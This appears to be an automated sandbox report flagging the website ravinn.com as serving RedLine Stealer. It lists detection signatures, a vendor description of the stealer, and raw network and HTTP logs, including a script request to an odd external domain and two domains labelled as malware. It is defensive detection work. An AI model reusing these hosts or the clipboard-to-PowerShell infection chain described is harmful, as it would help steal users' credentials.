Windows Analysis Report
https://ravinn.com

Overview

General Information

Sample URL: https://ravinn.com
Analysis ID: 1654130
Infos:

Detection

RedLine
Score: 100
Range: 0 - 100
Confidence: 100%

Signatures

Antivirus detection for URL or domain
Yara detected RedLine Stealer
Drops large PE files
Found hidden mapped module (file has been removed from disk)
HTML page adds supicious text to clipboard
Injects a PE file into a foreign processes
Maps a DLL or memory area into another process
Sigma detected: Suspicious Invoke-WebRequest Execution
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder
Switches to a custom stack to bypass stack traces
Writes to foreign memory regions
Yara detected Costura Assembly Loader
Allocates memory with a write watch (potentially for evading sandboxes)
Checks for available system drives (often done to infect USB drives)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Deletes files inside the Windows folder
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Drops files with a non-matching file extension (content does not match file extension)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Javascript checks online IP of machine
May sleep (evasive loops) to hinder dynamic analysis
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Searches for the Microsoft Outlook file path
Sigma detected: MsiExec Web Install
Sigma detected: PowerShell Web Download
Sigma detected: Usage Of Web Request Commands And Cmdlets
Suricata IDS alerts with low severity for network traffic
Yara detected Credential Stealer

Classification

RansomwareSpreadingPhishingBankerTrojan / BotAdwareSpywareExploiterEvaderMinercleansuspiciousmalicious
Name Description Attribution Blogpost URLs Link
RedLine Stealer RedLine Stealer is a malware available on underground forums for sale apparently as a standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

AV Detection
barindex
Antivirus detection for URL or domain
Source: https://servverifcloud.com/ Avira URL Cloud: Label: malware
Source: https://mfktiaoaolfkfjzjk.com/plu Avira URL Cloud: Label: malware
Javascript checks online IP of machine
Source: https://static-tracking.klaviyo.com/onsite/js/fender_analytics.611d7935dc9085329d0a.js?cb=1 HTTP Parser: (self.webpackchunk_klaviyo_onsite_modules=self.webpackchunk_klaviyo_onsite_modules||[]).push([[377],{23105:function(t,e,i){"use strict";e.z=({tracking:t})=>{var e;const o=t?"https://static-tracking.klaviyo.com/onsite/js/":"https://static.klaviyo.com/onsite/js/",n=null==(e=window.klaviyomodulesobject)?void 0:e.assetsource;i.p=n?`${o}${n}`:o}},650:function(t,e,i){"use strict";var o=i(23105);i(78991),i(24570),i(26650);class n{constructor(t,e,i,o,n,r,s){this.doc=t,this.nav=e,this.scr=i,this.win=o,this.loc=n,this.top=r,this.parent=s,this.initializedom()}initializedom(){this.doc=this.doc||document,this.nav=this.nav||navigator,this.scr=this.scr||window.screen,this.win=this.win||window,this.loc=this.loc||this.doc.location,this.top=this.top||window.top,this.parent=this.parent||window.parent}getdocument(){return this.doc}getnavigator(){return this.nav}getscreen(){return this.scr}getwindow(){return this.win}getlocation(){return this.loc}getprotocol(){return["https:","about:"].includes(this.loc.protocol)?"https://":"http...
Source: C:\Windows\System32\msiexec.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{E3205E05-7972-45C4-8321-B26BB5BCDBB2}
Source: unknown HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.16:49707 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.16:49706 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.16:49708 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.16:49710 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.217.165.132:443 -> 192.168.2.16:49711 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.16:49733 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.16:49742 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.27.152:443 -> 192.168.2.16:49743 version: TLS 1.2
Source: unknown HTTPS traffic detected: 151.101.66.133:443 -> 192.168.2.16:49746 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.27.152:443 -> 192.168.2.16:49752 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.27.152:443 -> 192.168.2.16:49751 version: TLS 1.2
Source: unknown HTTPS traffic detected: 151.101.130.133:443 -> 192.168.2.16:49753 version: TLS 1.2
Source: unknown HTTPS traffic detected: 151.101.130.133:443 -> 192.168.2.16:49754 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.16:49756 version: TLS 1.2
Source: unknown HTTPS traffic detected: 151.101.66.133:443 -> 192.168.2.16:49759 version: TLS 1.2
Source: unknown HTTPS traffic detected: 151.101.66.133:443 -> 192.168.2.16:49760 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.16:49803 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.16:49822 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.69.191:443 -> 192.168.2.16:49823 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.3.74:443 -> 192.168.2.16:49825 version: TLS 1.2
Checks for available system drives (often done to infect USB drives)
Source: C:\Windows\System32\msiexec.exe File opened: z:
Source: C:\Windows\System32\msiexec.exe File opened: x:
Source: C:\Windows\System32\msiexec.exe File opened: v:
Source: C:\Windows\System32\msiexec.exe File opened: t:
Source: C:\Windows\System32\msiexec.exe File opened: r:
Source: C:\Windows\System32\msiexec.exe File opened: p:
Source: C:\Windows\System32\msiexec.exe File opened: n:
Source: C:\Windows\System32\msiexec.exe File opened: l:
Source: C:\Windows\System32\msiexec.exe File opened: j:
Source: C:\Windows\System32\msiexec.exe File opened: h:
Source: C:\Windows\System32\msiexec.exe File opened: f:
Source: C:\Windows\System32\msiexec.exe File opened: b:
Source: C:\Windows\System32\msiexec.exe File opened: y:
Source: C:\Windows\System32\msiexec.exe File opened: w:
Source: C:\Windows\System32\msiexec.exe File opened: u:
Source: C:\Windows\System32\msiexec.exe File opened: s:
Source: C:\Windows\System32\msiexec.exe File opened: q:
Source: C:\Windows\System32\msiexec.exe File opened: o:
Source: C:\Windows\System32\msiexec.exe File opened: m:
Source: C:\Windows\System32\msiexec.exe File opened: k:
Source: C:\Windows\System32\msiexec.exe File opened: i:
Source: C:\Windows\System32\msiexec.exe File opened: g:
Source: C:\Windows\System32\msiexec.exe File opened: e:
Source: C:\Windows\System32\svchost.exe File opened: c:
Source: C:\Windows\System32\msiexec.exe File opened: a:
Source: chrome.exe Memory has grown: Private usage: 1MB later: 37MB
Suricata IDS alerts with low severity for network traffic
Source: Network traffic Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.16:49823 -> 104.21.69.191:443
Source: Network traffic Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.16:49825 -> 104.21.3.74:443
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown TCP traffic detected without corresponding DNS query: 142.250.176.195
Source: unknown TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown TCP traffic detected without corresponding DNS query: 142.250.176.195
Source: unknown TCP traffic detected without corresponding DNS query: 23.203.176.221
Source: unknown TCP traffic detected without corresponding DNS query: 23.203.176.221
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown TCP traffic detected without corresponding DNS query: 40.126.24.83
Source: unknown TCP traffic detected without corresponding DNS query: 40.126.24.83
Source: unknown TCP traffic detected without corresponding DNS query: 149.248.78.209
Source: unknown TCP traffic detected without corresponding DNS query: 149.248.78.209
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: ravinn.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: www.ravinn.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /wp-includes/css/dist/block-library/style.min.css?ver=6.7.2 HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,*/*;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /wp-content/themes/ravinn/css/all.css HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,*/*;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /wp-content/themes/ravinn/css/splide.min.css HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,*/*;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /wp-content/themes/ravinn/css/bootstrap.css?v=1743482759 HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,*/*;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /wp-content/themes/ravinn/css/main.css?v=1743482759 HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,*/*;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /wp-content/themes/ravinn/css/responsive.css?v=1743482759 HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,*/*;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /wp-content/themes/ravinn/style.css?ver=6.7.2 HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,*/*;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /wp-includes/js/jquery/jquery.min.js?ver=3.7.1 HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1 HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /wp-content/themes/ravinn/js/loadmore.js?ver=6.7.2 HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2023/11/ravinnlogo.svg HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2023/11/logo4.png HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2023/11/logo1.png HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2023/11/ravinnlogo.svg HTTP/1.1Host: www.ravinn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2023/11/logo5-e1701428252408.png HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2023/11/logo4.png HTTP/1.1Host: www.ravinn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2023/11/logo1.png HTTP/1.1Host: www.ravinn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /wp-content/themes/ravinn/js/isotope.pkgd.min.js HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /wp-content/themes/ravinn/js/bootstrap.js?v=1743482759 HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /wp-content/themes/ravinn/js/splide.min.js HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /wp-content/themes/ravinn/js/splide-extension-auto-scroll.js HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /clou?ts=1743482759 HTTP/1.1Host: pptpooalfkakktl.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /releases/v6.4.2/css/all.css?ver=6.4.2 HTTP/1.1Host: use.fontawesome.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,*/*;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /onsite/js/klaviyo.js?company_id=WnvUEf HTTP/1.1Host: static.klaviyo.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
